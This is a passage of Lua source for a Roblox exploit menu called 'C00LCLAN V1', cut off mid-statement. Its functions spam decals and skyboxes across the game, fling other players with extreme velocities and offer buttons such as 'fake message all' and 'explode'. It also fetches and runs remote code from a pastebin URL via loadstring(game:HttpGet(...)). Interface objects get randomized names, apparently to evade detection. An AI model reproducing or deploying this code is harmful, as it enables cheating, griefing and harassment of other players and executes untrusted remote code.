StarterGui.ScreenGui.Frame.TextButton.RemoteEvent G2L["2a"] = Instance.new("RemoteEvent", G2L["27"]); -- StarterGui.ScreenGui.Frame.TextButton G2L["2b"] = Instance.new("TextButton", G2L["2"]); G2L["2b"]["BorderSizePixel"] = 0; G2L["2b"]["TextSize"] = 14; G2L["2b"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["2b"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["2b"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["2b"]["BackgroundTransparency"] = 0.2; G2L["2b"]["Size"] = UDim2.new(0, 115, 0, 33); G2L["2b"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["2b"]["Text"] = [[fake message all]]; G2L["2b"]["Position"] = UDim2.new(0.37215, 0, 0.6034, 0); -- StarterGui.ScreenGui.Frame.TextButton.LocalScript G2L["2c"] = Instance.new("LocalScript", G2L["2b"]); -- StarterGui.ScreenGui.Frame.TextButton G2L["2d"] = Instance.new("TextButton", G2L["2"]); G2L["2d"]["BorderSizePixel"] = 0; G2L["2d"]["TextSize"] = 14; G2L["2d"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["2d"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["2d"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["2d"]["BackgroundTransparency"] = 0.2; G2L["2d"]["Size"] = UDim2.new(0, 115, 0, 33); G2L["2d"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["2d"]["Text"] = [[unanchor]]; G2L["2d"]["Position"] = UDim2.new(0.68878, 0, 0.60491, 0); -- StarterGui.ScreenGui.Frame.TextButton.LocalScript G2L["2e"] = Instance.new("LocalScript", G2L["2d"]); -- StarterGui.ScreenGui.Frame.TextButton G2L["2f"] = Instance.new("TextButton", G2L["2"]); G2L["2f"]["BorderSizePixel"] = 0; G2L["2f"]["TextSize"] = 14; G2L["2f"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["2f"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["2f"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["2f"]["BackgroundTransparency"] = 0.2; G2L["2f"]["Size"] = UDim2.new(0, 115, 0, 33); G2L["2f"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["2f"]["Text"] = [[rainbow all]]; G2L["2f"]["Position"] = UDim2.new(0.08557, 0, 0.72121, 0); -- StarterGui.ScreenGui.Frame.TextButton.LocalScript G2L["30"] = Instance.new("LocalScript", G2L["2f"]); -- StarterGui.ScreenGui.Frame.TextButton G2L["31"] = Instance.new("TextButton", G2L["2"]); G2L["31"]["BorderSizePixel"] = 0; G2L["31"]["TextSize"] = 14; G2L["31"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["31"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["31"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["31"]["BackgroundTransparency"] = 0.2; G2L["31"]["Size"] = UDim2.new(0, 115, 0, 33); G2L["31"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["31"]["Text"] = [[raining fire]]; G2L["31"]["Position"] = UDim2.new(0.37329, 0, 0.71836, 0); -- StarterGui.ScreenGui.Frame.TextButton.LocalScript G2L["32"] = Instance.new("LocalScript", G2L["31"]); -- StarterGui.ScreenGui.Frame.TextButton G2L["33"] = Instance.new("TextButton", G2L["2"]); G2L["33"]["BorderSizePixel"] = 0; G2L["33"]["TextSize"] = 14; G2L["33"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["33"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["33"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["33"]["BackgroundTransparency"] = 0.2; G2L["33"]["Size"] = UDim2.new(0, 115, 0, 33); G2L["33"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["33"]["Text"] = [[disco]]; G2L["33"]["Position"] = UDim2.new(0.69005, 0, 0.71769, 0); -- StarterGui.ScreenGui.Frame.TextButton.LocalScript G2L["34"] = Instance.new("LocalScript", G2L["33"]); -- StarterGui.ScreenGui.Frame.TextButton G2L["35"] = Instance.new("TextButton", G2L["2"]); G2L["35"]["BorderSizePixel"] = 0; G2L["35"]["TextSize"] = 14; G2L["35"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["35"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["35"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["35"]["BackgroundTransparency"] = 0.2; G2L["35"]["Size"] = UDim2.new(0, 115, 0, 33); G2L["35"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["35"]["Text"] = [[guns]]; G2L["35"]["Position"] = UDim2.new(0.09018, 0, 0.83746, 0); -- StarterGui.ScreenGui.Frame.TextButton.LocalScript G2L["36"] = Instance.new("LocalScript", G2L["35"]); -- StarterGui.ScreenGui.Frame.TextButton.Script G2L["37"] = Instance.new("Script", G2L["35"]); -- StarterGui.ScreenGui.Frame.TextButton.RemoteEvent G2L["38"] = Instance.new("RemoteEvent", G2L["35"]); -- StarterGui.ScreenGui.Frame.TextButton G2L["39"] = Instance.new("TextButton", G2L["2"]); G2L["39"]["BorderSizePixel"] = 0; G2L["39"]["TextSize"] = 14; G2L["39"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["39"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["39"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["39"]["BackgroundTransparency"] = 0.2; G2L["39"]["Size"] = UDim2.new(0, 115, 0, 33); G2L["39"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["39"]["Text"] = [[explode]]; G2L["39"]["Position"] = UDim2.new(0.37325, 0, 0.83105, 0); -- StarterGui.ScreenGui.Frame.TextButton.LocalScript G2L["3a"] = Instance.new("LocalScript", G2L["39"]); -- StarterGui.ScreenGui.Frame.TextButton G2L["3b"] = Instance.new("TextButton", G2L["2"]); G2L["3b"]["BorderSizePixel"] = 0; G2L["3b"]["TextSize"] = 14; G2L["3b"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["3b"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["3b"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["3b"]["BackgroundTransparency"] = 0.2; G2L["3b"]["Size"] = UDim2.new(0, 115, 0, 33); G2L["3b"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["3b"]["Text"] = [[set walkspeed]]; G2L["3b"]["Position"] = UDim2.new(0.68564, 0, 0.83108, 0); -- StarterGui.ScreenGui.Frame.TextButton.LocalScript G2L["3c"] = Instance.new("LocalScript", G2L["3b"]); -- StarterGui.ScreenGui.Frame.LocalScript G2L["3d"] = Instance.new("LocalScript", G2L["2"]); -- StarterGui.ScreenGui.Frame.TextButton.LocalScript local function C_7() local script = G2L["7"]; script.Parent.MouseButton1Click:Connect(function() --Services local Players = game:GetService("Players") local Player = Players.LocalPlayer local PlayerGui = Player:WaitForChild("PlayerGui") local UserInputService = game:GetService("UserInputService") local RunService = game:GetService("RunService") local PhysicsService = game:GetService("PhysicsService") local Character = Player.Character or Player.CharacterAdded:Wait() local Humanoid = Character:WaitForChild("Humanoid") local HRP = Character:WaitForChild("HumanoidRootPart") local Mouse = Player:GetMouse() local CollectionService = game:GetService("CollectionService") local RunService = game:GetService("RunService") local TeleportService = game:GetService("TeleportService") local HttpService = game:GetService("HttpService") local TweenService = game:GetService("TweenService") local ReplicatedStorage = game:GetService("ReplicatedStorage") local MarketplaceService = game:GetService("MarketplaceService") local StarterGui = game:GetService("StarterGui") local Debris = game:GetService("Debris") local Lighting = game:GetService("Lighting") local SoundService = game:GetService("SoundService") local player = Player local PlaceId = game.PlaceId local JobId = game.JobId --settings local infjump = false local invisRunning = false local noclipOn = false local noclipConn local hoverHeight local bindFrame, bindConn, waitingBindFunction local customBinds = {} local infJumpEnabled = false local infJumpConnection = nil local espOn = false local spinOn = false local spinBAV, lockBP local savedCFrame local invisRunning = false local InvisibleCharacter = nil local OriginalCharacter = nil local voidConn = nil local flyingEnabled = false local invisRunning = false local flyBG, flyBV, flyConn local ray = workspace.CurrentCamera:ScreenPointToRay(Mouse.X, Mouse.Y) local hit, pos = workspace:FindPartOnRay(ray, Character) --GUI settings local GUI_WIDTH = 400 local GUI_HEIGHT = 320 local TITLE_HEIGHT = 30 local NAV_HEIGHT = 30 local FOOTER_HEIGHT = 30 local GRID_PADDING = 4 local GRID_COLUMNS = 4 math.randomseed(os.time()) local character_set = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ" local string_sub = string.sub local math_random = math.random local table_concat = table.concat local character_set_amount = #character_set local number_one = 1 local default_length = 10 local function generate_string(length) local random_string = {} for int = number_one, length or default_length do local random_number = math_random(number_one, character_set_amount) local character = string_sub(character_set, random_number, random_number) random_string[#random_string + number_one] = character end return table_concat(random_string) end -- Function manager with descriptions local FunctionManager = { CategorizedFunctions = { All = {} }, Categories = { "All" }, CurrentCategoryIndex= 1, Descriptions = {}, ISFE = {}, OnFunctionAdded = Instance.new("BindableEvent"), } function FunctionManager:register(name, callback, category, description, FE) category = category or "General" if not self.CategorizedFunctions[category] then self.CategorizedFunctions[category] = {} table.insert(self.Categories, category) end self.CategorizedFunctions[category][name] = callback self.CategorizedFunctions.All[name] = callback self.Descriptions[name] = description or "" self.ISFE[name] = FE or "yes" if description == "NOT FE" then self.ISFE[name] = "no" end self.OnFunctionAdded:Fire(category, name, callback) self.OnFunctionAdded:Fire("All", name, callback) end function FunctionManager:getCurrentCategory() return self.Categories[self.CurrentCategoryIndex] end function FunctionManager:cycleCategory() self.CurrentCategoryIndex = self.CurrentCategoryIndex % #self.Categories + 1 return self:getCurrentCategory() end local screenGui = Instance.new("ScreenGui") screenGui.Name = generate_string(math_random(1, 10)) local die = screenGui.Name screenGui.ResetOnSpawn= false screenGui.Parent = PlayerGui local notificationContainer = Instance.new("Frame") notificationContainer.Name = "NotificationContainer" notificationContainer.Size = UDim2.new(1, 0, 1, 0) notificationContainer.Position = UDim2.new(0, 0, 0, 0) notificationContainer.BackgroundTransparency = 1 notificationContainer.ZIndex = 100 notificationContainer.Parent = screenGui local function Notify(text, title, duration) duration = duration or 4 local frame = Instance.new("Frame") frame.AnchorPoint = Vector2.new(1, 1) frame.Size = UDim2.new(0, 300, 0, 70) frame.Position = UDim2.new(1, 320, 1, -10) frame.BackgroundColor3 = Color3.fromRGB(40, 0, 0) frame.BackgroundTransparency = 0 frame.BorderSizePixel = 0 frame.ZIndex = 200 frame.Parent = notificationContainer local titleLabel = Instance.new("TextLabel") titleLabel.BackgroundTransparency = 1 titleLabel.Size = UDim2.new(1, -10, 0, 24) titleLabel.Position = UDim2.new(0, 5, 0, 4) titleLabel.Font = Enum.Font.SourceSansBold titleLabel.Text = title or "Notice" titleLabel.TextColor3 = Color3.new(1, 1, 1) titleLabel.TextSize = 18 titleLabel.TextXAlignment = Enum.TextXAlignment.Left titleLabel.ZIndex = 201 titleLabel.Parent = frame local bodyLabel = Instance.new("TextLabel") bodyLabel.BackgroundTransparency = 1 bodyLabel.Size = UDim2.new(1, -10, 1, -30) bodyLabel.Position = UDim2.new(0, 5, 0, 28) bodyLabel.Font = Enum.Font.SourceSans bodyLabel.Text = text or "" bodyLabel.TextColor3 = Color3.new(1, 1, 1) bodyLabel.TextSize = 14 bodyLabel.TextWrapped = true bodyLabel.TextXAlignment = Enum.TextXAlignment.Left bodyLabel.ZIndex = 201 bodyLabel.Parent = frame task.defer(function() local slideIn = TweenService:Create(frame, TweenInfo.new(0.3, Enum.EasingStyle.Quad, Enum.EasingDirection.Out), { Position = UDim2.new(1, -10, 1, -10) }) slideIn:Play() end) task.delay(duration, function() local fadeOut = TweenService:Create(frame, TweenInfo.new(0.3), { BackgroundTransparency = 1, Position = UDim2.new(1, 320, 1, -10) }) local titleFade = TweenService:Create(titleLabel, TweenInfo.new(0.3), {TextTransparency = 1}) local bodyFade = TweenService:Create(bodyLabel, TweenInfo.new(0.3), {TextTransparency = 1}) fadeOut:Play() titleFade:Play() bodyFade:Play() fadeOut.Completed:Wait() frame:Destroy() end) end local notificationLayout = Instance.new("UIListLayout") notificationLayout.SortOrder = Enum.SortOrder.LayoutOrder notificationLayout.Padding = UDim.new(0, 6) notificationLayout.HorizontalAlignment = Enum.HorizontalAlignment.Right notificationLayout.VerticalAlignment = Enum.VerticalAlignment.Bottom notificationLayout.Parent = notificationContainer Notify("Welcome to C00lClan!", "Have fun!", 3) -- Main frame local mainFrame = Instance.new("Frame") mainFrame.Name = generate_string(math_random(1, 10)) mainFrame.Size = UDim2.new(0, GUI_WIDTH, 0, GUI_HEIGHT) mainFrame.Position = UDim2.new(0.5, -GUI_WIDTH/2, 0.5, -GUI_HEIGHT/2) mainFrame.BackgroundColor3= Color3.fromRGB(25, 5, 5) mainFrame.BorderSizePixel = 0 mainFrame.Parent = screenGui -- Tooltip local tooltip = Instance.new("TextLabel", screenGui) tooltip.Name = generate_string(math_random(1, 10)) tooltip.Size = UDim2.new(0, 200, 0, 40) tooltip.BackgroundColor3 = Color3.fromRGB(30,30,30) tooltip.BorderSizePixel = 0 tooltip.Visible = false tooltip.ZIndex = 100 tooltip.ClipsDescendants = false tooltip.TextColor3 = Color3.fromRGB(255, 255, 255) tooltip.TextWrapped = true -- Title bar local titleBar = Instance.new("Frame", mainFrame) titleBar.Name = generate_string(math_random(1, 10)) titleBar.Size = UDim2.new(1,0,0,TITLE_HEIGHT) titleBar.BackgroundColor3 = Color3.fromRGB(60,0,0) titleBar.BorderSizePixel = 0 local titleLabel = Instance.new("TextLabel", titleBar) titleLabel.Size = UDim2.new(1,-60,1,0) titleLabel.Position = UDim2.new(0,4,0,0) titleLabel.BackgroundTransparency = 1 titleLabel.Text = "C00LCLAN V1" titleLabel.Font = Enum.Font.SourceSansBold titleLabel.TextSize = 18 titleLabel.TextColor3 = Color3.new(1,1,1) titleLabel.TextXAlignment = Enum.TextXAlignment.Left titleLabel.Name = generate_string(math_random(1, 10)) local minBtn = Instance.new("TextButton", titleBar) minBtn.Name = generate_string(math_random(1, 10)) minBtn.Size = UDim2.new(0,30,1,0) minBtn.Position = UDim2.new(1,-30,0,0) minBtn.Text = "_" minBtn.Font = Enum.Font.SourceSansBold minBtn.TextSize = 18 minBtn.TextColor3 = Color3.new(1,1,1) minBtn.BackgroundColor3 = Color3.fromRGB(80,10,10) minBtn.BorderSizePixel = 0 -- Drag logic local dragging, dragInput, dragStart, startPos = false, nil local function updateDrag(input) local delta = input.Position - dragStart mainFrame.Position = startPos + UDim2.new(0, delta.X, 0, delta.Y) end titleBar.InputBegan:Connect(function(i) if i.UserInputType==Enum.UserInputType.MouseButton1 then dragging, dragStart, startPos = true, i.Position, mainFrame.Position i.Changed:Connect(function() if i.UserInputState==Enum.UserInputState.End then dragging=false end end) end end) titleBar.InputChanged:Connect(function(i) if i.UserInputType==Enum.UserInputType.MouseMovement then dragInput=i end end) UserInputService.InputChanged:Connect(function(i) if i==dragInput and dragging then updateDrag(i) end end) -- Category nav local catNav = Instance.new("Frame", mainFrame) catNav.Name = generate_string(math_random(1, 10)) catNav.Size = UDim2.new(1,0,0,NAV_HEIGHT) catNav.Position = UDim2.new(0,0,0,TITLE_HEIGHT) catNav.BackgroundTransparency = 1 local leftCat = Instance.new("TextButton", catNav) leftCat.Size = UDim2.new(0,50,1,0) leftCat.Text = "<" leftCat.Font = Enum.Font.SourceSansBold leftCat.TextSize = 24 leftCat.TextColor3 = Color3.new(1,1,1) leftCat.BackgroundColor3 = Color3.fromRGB(100,0,0) leftCat.BorderSizePixel = 0 leftCat.Name = generate_string(math_random(1, 10)) local catLabel = Instance.new("TextLabel", catNav) catLabel.Size = UDim2.new(1,-100,1,0) catLabel.Position = UDim2.new(0,50,0,0) catLabel.BackgroundTransparency = 1 catLabel.Text = "All" catLabel.Font = Enum.Font.SourceSansBold catLabel.TextSize = 18 catLabel.TextColor3 = Color3.new(1,1,1) catNav.Name = generate_string(math_random(1, 10)) local rightCat = leftCat:Clone() rightCat.Parent = catNav rightCat.Position = UDim2.new(1,-50,0,0) rightCat.Text = ">" rightCat.Name = generate_string(math_random(1, 10)) -- Grid local gridFrame = Instance.new("ScrollingFrame", mainFrame) gridFrame.Name = generate_string(math_random(1, 10)) gridFrame.ClipsDescendants= true gridFrame.Size = UDim2.new(1,-2*GRID_PADDING,0,GUI_HEIGHT-TITLE_HEIGHT-NAV_HEIGHT-FOOTER_HEIGHT-2*GRID_PADDING) gridFrame.Position = UDim2.new(0,GRID_PADDING,0,TITLE_HEIGHT+NAV_HEIGHT+GRID_PADDING) gridFrame.BackgroundTransparency = 1 local gridLayout = Instance.new("UIGridLayout", gridFrame) gridLayout.Name = generate_string(math_random(1, 10)) gridLayout.CellSize = UDim2.new(0,(GUI_WIDTH-2*GRID_PADDING-(GRID_COLUMNS-1)*GRID_PADDING)/GRID_COLUMNS,0,40) gridLayout.CellPadding = UDim2.new(0,GRID_PADDING,0,GRID_PADDING) gridLayout.SortOrder = Enum.SortOrder.LayoutOrder -- Footer local footer = Instance.new("Frame", mainFrame) footer.Name = generate_string(math_random(1, 10)) footer.Size = UDim2.new(1,0,0,FOOTER_HEIGHT) footer.Position = UDim2.new(0,0,1,-FOOTER_HEIGHT) footer.BackgroundTransparency = 1 local closeBtn = Instance.new("TextButton", footer) closeBtn.Size = UDim2.new(1,0,1,0) closeBtn.Text = "Close" closeBtn.Font = Enum.Font.SourceSansBold closeBtn.TextSize = 18 closeBtn.TextColor3 = Color3.new(1,1,1) closeBtn.BackgroundColor3 = Color3.fromRGB(100,0,0) closeBtn.BorderSizePixel = 0 closeBtn.Name = generate_string(math_random(1, 10)) -- Minimize toggle local minimized = false minBtn.MouseButton1Click:Connect(function() minimized = not minimized if minimized == true then mainFrame.BackgroundTransparency = 1 else mainFrame.BackgroundTransparency = 0 end gridFrame.Visible = not minimized catNav.Visible = not minimized footer.Visible = not minimized minBtn.Text = minimized and "◻" or "_" end) local function NotifyERROR(text) Notify(text, "ERROR", 3) end -- Build the grid and tooltips local function updateGrid() for _, c in ipairs(gridFrame:GetChildren()) do if c:IsA("TextButton") then c:Destroy() end end local cat = FunctionManager:getCurrentCategory() catLabel.Text = cat for name, cb in pairs(FunctionManager.CategorizedFunctions[cat]) do local btn = Instance.new("TextButton") local isFE = FunctionManager.ISFE[name] btn.Size = UDim2.new(1,0,0,40) btn.BackgroundColor3 = Color3.fromRGB(70,10,10) btn.BorderSizePixel = 0 btn.Font = Enum.Font.SourceSansBold btn.TextSize = 16 btn.TextColor3 = Color3.new(1,1,1) btn.Text = name btn.TextWrapped = true btn.Parent = gridFrame btn.Name = generate_string(math_random(1, 10)) if isFE == "no" then btn.BackgroundColor3 = Color3.fromRGB(72, 100, 87) end -- tooltip local desc = FunctionManager.Descriptions[name] btn.MouseMoved:Connect(function() if desc ~= "" and desc ~= nil then tooltip.Text = desc tooltip.Position = UDim2.new(0,Mouse.X,0,Mouse.Y - tooltip.Size.Y.Offset - 4) tooltip.Visible = true end end) btn.MouseLeave:Connect(function() tooltip.Visible = false end) btn.MouseButton1Click:Connect(function() pcall(cb) end) end end local logo = Instance.new("ImageLabel") logo.Name = generate_string(math_random(1, 10)) logo.BackgroundTransparency = 1 logo.Size = UDim2.new(1, 0, 0, 100) logo.Position = UDim2.new(0, -50, 0, -100) logo.Image = "rbxassetid://87486058304609" logo.ScaleType = Enum.ScaleType.Fit logo.Parent = mainFrame -- nav buttons leftCat.MouseButton1Click:Connect(function() FunctionManager.CurrentCategoryIndex = (FunctionManager.CurrentCategoryIndex - 2) % #FunctionManager.Categories + 1 updateGrid() end) rightCat.MouseButton1Click:Connect(function() FunctionManager:cycleCategory() updateGrid() end) closeBtn.MouseButton1Click:Connect(function() screenGui:Destroy() end) FunctionManager.OnFunctionAdded.Event:Connect(updateGrid) -- Initialize updateGrid() FunctionManager:register("Decal Spam", function() local decalID = 8408806737 local function exPro(root) for _, v in pairs(root:GetChildren()) do if v:IsA("Decal") and v.Texture ~= "http://www.roblox.com/asset/?id="..decalID then v.Parent = nil elseif v:IsA("BasePart") then v.Material = "Plastic" v.Transparency = 0 local One = Instance.new("Decal", v) local Two = Instance.new("Decal", v) local Three = Instance.new("Decal", v) local Four = Instance.new("Decal", v) local Five = Instance.new("Decal", v) local Six = Instance.new("Decal", v) One.Texture = "http://www.roblox.com/asset/?id="..decalID Two.Texture = "http://www.roblox.com/asset/?id="..decalID Three.Texture = "http://www.roblox.com/asset/?id="..decalID Four.Texture = "http://www.roblox.com/asset/?id="..decalID Five.Texture = "http://www.roblox.com/asset/?id="..decalID Six.Texture = "http://www.roblox.com/asset/?id="..decalID One.Face = "Front" Two.Face = "Back" Three.Face = "Right" Four.Face = "Left" Five.Face = "Top" Six.Face = "Bottom" end exPro(v) end end local function asdf(root) for _, v in pairs(root:GetChildren()) do asdf(v) end end exPro(game.Workspace) asdf(game.Workspace) local s = Instance.new("Sky") s.Name = "Sky" s.Parent = game.Lighting local skyboxID = 8408806737 s.SkyboxBk = "http://www.roblox.com/asset/?id="..skyboxID s.SkyboxDn = "http://www.roblox.com/asset/?id="..skyboxID s.SkyboxFt = "http://www.roblox.com/asset/?id="..skyboxID s.SkyboxLf = "http://www.roblox.com/asset/?id="..skyboxID s.SkyboxRt = "http://www.roblox.com/asset/?id="..skyboxID s.SkyboxUp = "http://www.roblox.com/asset/?id="..skyboxID game.Lighting.TimeOfDay = 12 for i, v in pairs(game.Players:GetChildren()) do local emit = Instance.new("ParticleEmitter") emit.Parent = v.Character.Torso emit.Texture = "http://www.roblox.com/asset/?id=8408806737" emit.VelocitySpread = 20 end for i, v in pairs(game.Players:GetChildren()) do local emit = Instance.new("ParticleEmitter") emit.Parent = v.Character.Torso emit.Texture = "http://www.roblox.com/asset/?id=8408806737" emit.VelocitySpread = 20 end for i, v in pairs(game.Players:GetChildren()) do local emit = Instance.new("ParticleEmitter") emit.Parent = v.Character.Torso emit.Texture = "http://www.roblox.com/asset/?id=8408806737" emit.VelocitySpread = 20 end while true do game.Lighting.Ambient = Color3.new(math.random() , math.random() , math.random()) wait(0.2) game.Lighting.ShadowColor = Color3.new(math.random() , math.random() , math.random()) wait(0.2) end end, "Troll", "NOT FE") FunctionManager:register("JOHN DOE", function() local redSkyboxAssetId = "rbxassetid://1012887" local sky = Lighting:FindFirstChildOfClass("Sky") if not sky then sky = Instance.new("Sky", Lighting) end sky.SkyboxBk = redSkyboxAssetId sky.SkyboxDn = redSkyboxAssetId sky.SkyboxFt = redSkyboxAssetId sky.SkyboxLf = redSkyboxAssetId sky.SkyboxRt = redSkyboxAssetId sky.SkyboxUp = redSkyboxAssetId if not ReplicatedStorage:FindFirstChild("juisdfj0i32i0eidsuf0iok") then local detection = Instance.new("Decal") detection.Name = "juisdfj0i32i0eidsuf0iok" detection.Parent = ReplicatedStorage end local screenGui = Instance.new("ScreenGui") screenGui.Name = "PersistentSoundGui" screenGui.ResetOnSpawn = false screenGui.Parent = player:WaitForChild("PlayerGui") local button = Instance.new("TextButton") button.Size = UDim2.new(0, 150, 0, 50) button.Position = UDim2.new(0.02, 0, 0.477, 0) button.Text = "Sound Toggle" button.Font = Enum.Font.SourceSansBold button.TextSize = 20 button.BackgroundColor3 = Color3.fromRGB(50, 50, 50) button.TextColor3 = Color3.new(1, 1, 1) button.Parent = screenGui local backgroundSound = SoundService:FindFirstChild("PersistentBGSound") if not backgroundSound then backgroundSound = Instance.new("Sound") backgroundSound.Name = "PersistentBGSound" backgroundSound.SoundId = "rbxassetid://19094700" backgroundSound.PlaybackSpeed = 0.221 backgroundSound.Looped = true backgroundSound.Volume = 1 backgroundSound.Parent = SoundService backgroundSound:Play() end button.Activated:Connect(function() backgroundSound.Playing = not backgroundSound.Playing end) local function setupCharacter(character) local humanoid = character:WaitForChild("Humanoid") local torso = character:WaitForChild("Torso") local hrp = character:WaitForChild("HumanoidRootPart") local tool = Instance.new("Tool") tool.Name = "Slash" tool.RequiresHandle = false tool.Parent = player.Backpack tool.Activated:Connect(function() local animation = Instance.new("Animation") animation.AnimationId = "rbxassetid://186934658" local track = humanoid:LoadAnimation(animation) track:Play() track:AdjustSpeed(2) local s = Instance.new("Sound", torso) s.SoundId = "rbxassetid://28144425" s:Play() task.wait(0.2) local s2 = Instance.new("Sound", torso) s2.SoundId = "rbxassetid://429400881" s2.Volume = 0.2 s2:Play() end) local naeeym = Instance.new("BillboardGui", character) naeeym.Size = UDim2.new(0, 100, 0, 40) naeeym.StudsOffset = Vector3.new(0, 2, 0) naeeym.Adornee = character:WaitForChild("Head") local tecks = Instance.new("TextLabel", naeeym) tecks.BackgroundTransparency = 1 tecks.BorderSizePixel = 0 tecks.Font = Enum.Font.Fantasy tecks.TextSize = 24 tecks.TextStrokeTransparency = 0 tecks.TextStrokeColor3 = Color3.new(0, 0, 0) tecks.TextColor3 = Color3.new(0, 0, 0) tecks.Size = UDim2.new(1, 0, 0.5, 0) tecks.Text = "John Doe" local function changeName(newName) tecks.Text = newName end local function shakeTag() local originalOffset = naeeym.StudsOffset for _ = 1, 10 do naeeym.StudsOffset = originalOffset + Vector3.new(math.random(-1,1), math.random(-1,1), math.random(-1,1)) task.wait(0.05) end naeeym.StudsOffset = originalOffset end coroutine.wrap(function() while character:IsDescendantOf(workspace) do changeName("BURN IN HELL") shakeTag() task.wait(0.2) changeName("STOP") task.wait(0.1) changeName("JUST GIVE UP") shakeTag() task.wait(0.2) changeName("STOP") shakeTag() task.wait(0.2) changeName("JOHN DOE") shakeTag() task.wait(0.3) changeName("HOPELESS") shakeTag() task.wait(0.3) end end)() local footPartSize = Vector3.new(10, 0.5, 10) local floorPartColor = BrickColor.Black() local floorMaterial = Enum.Material.Neon local yOffset = -2.8 local lastPosition = hrp.Position local standingTimer = 0 RunService.Heartbeat:Connect(function(dt) if not character:IsDescendantOf(workspace) then return end local currentPosition = hrp.Position standingTimer += dt local distanceMoved = (currentPosition - lastPosition).Magnitude local stepPosition = Vector3.new(currentPosition.X, hrp.Position.Y + yOffset, currentPosition.Z) local function createFootstep(position) local part = Instance.new("Part") part.Size = footPartSize part.Position = position part.Anchored = true part.CanCollide = false part.BrickColor = floorPartColor part.Material = floorMaterial part.Transparency = 0.5 part.Parent = workspace task.spawn(function() for i = 1, 10 do part.Transparency = i * 0.03 task.wait(0.05) end end) Debris:AddItem(part, 1) end if distanceMoved > 1 then createFootstep(stepPosition) lastPosition = currentPosition standingTimer = 0 elseif standingTimer > 0.5 then createFootstep(stepPosition) standingTimer = 0 end end) local movel = 0.1 local hiddenfling = true local function fling() while hiddenfling and character:IsDescendantOf(workspace) do if hrp then local originalVelocity = hrp.Velocity hrp.Velocity = originalVelocity * 10000 + Vector3.new(0, 10000, 0) RunService.RenderStepped:Wait() hrp.Velocity = originalVelocity RunService.Stepped:Wait() hrp.Velocity = originalVelocity + Vector3.new(0, movel, 0) movel = -movel end RunService.Heartbeat:Wait() end end coroutine.wrap(fling)() end player.CharacterAdded:Connect(setupCharacter) if player.Character then setupCharacter(player.Character) end local Players = game:GetService("Players") local UserInputService = game:GetService("UserInputService") local player = Players.LocalPlayer local mouse = player:GetMouse() local function teleportToMousePosition() local character = player.Character if not character or not character:FindFirstChild("HumanoidRootPart") then return end local target = mouse.Hit if target then character:MoveTo(target.Position) end end UserInputService.InputBegan:Connect(function(input, gameProcessed) if gameProcessed then return end if input.KeyCode == Enum.KeyCode.T then teleportToMousePosition() end end) end, "Trolling", "BROKEN") FunctionManager:register("Invis gui", function() loadstring(game:HttpGet('https://pastebin.com/raw/3Rnd9rHf'))() end, "Trolling", "Credits to the original maker!") FunctionManager:register("DANCE", function() local anim = Instance.new("Animation") anim.AnimationId = "rbxassetid://27789359" local track = game.Players.LocalPlayer.Character.Humanoid:LoadAnimation(anim) track:Play() end, "Fun", "DANCE DANCE") FunctionManager:register("Sound GUI", function() local gui = game.Players.LocalPlayer.PlayerGui:FindFirstChild("SoundGui") if gui then gui:Destroy() return end local SoundGui = Instance.new("ScreenGui") local Frame = Instance.new("Frame") local AddSoundId = Instance.new("TextButton") local SoundIds = Instance.new("TextBox") local Default = Instance.new("TextButton") local Credits = Instance.new("TextLabel") local Title = Instance.new("TextLabel") local Swap = Instance.new("ImageButton") local PlayBackSpeed = Instance.new("TextBox") local Volume = Instance.new("TextBox") local Looped = Instance.new("TextBox") local Exit = Instance.new("ImageButton") local Frame2 = Instance.new("Frame") local Open = Instance.new("ImageButton") local spoky = Instance.new("Sound") local c00lflag = Instance.new("Sound") local drag = Instance.new("UIDragDetector") drag.Parent = Frame c00lflag.Name = "c00lsound23sas" c00lflag.Parent = Frame spoky.Parent = Frame spoky.SoundId = "rbxassetid://95156028272944" spoky.Volume = 3 spoky.PlaybackSpeed = 0.2 spoky.Name = "spoky" --Properties: SoundGui.Name = "SoundGui" SoundGui.Parent = 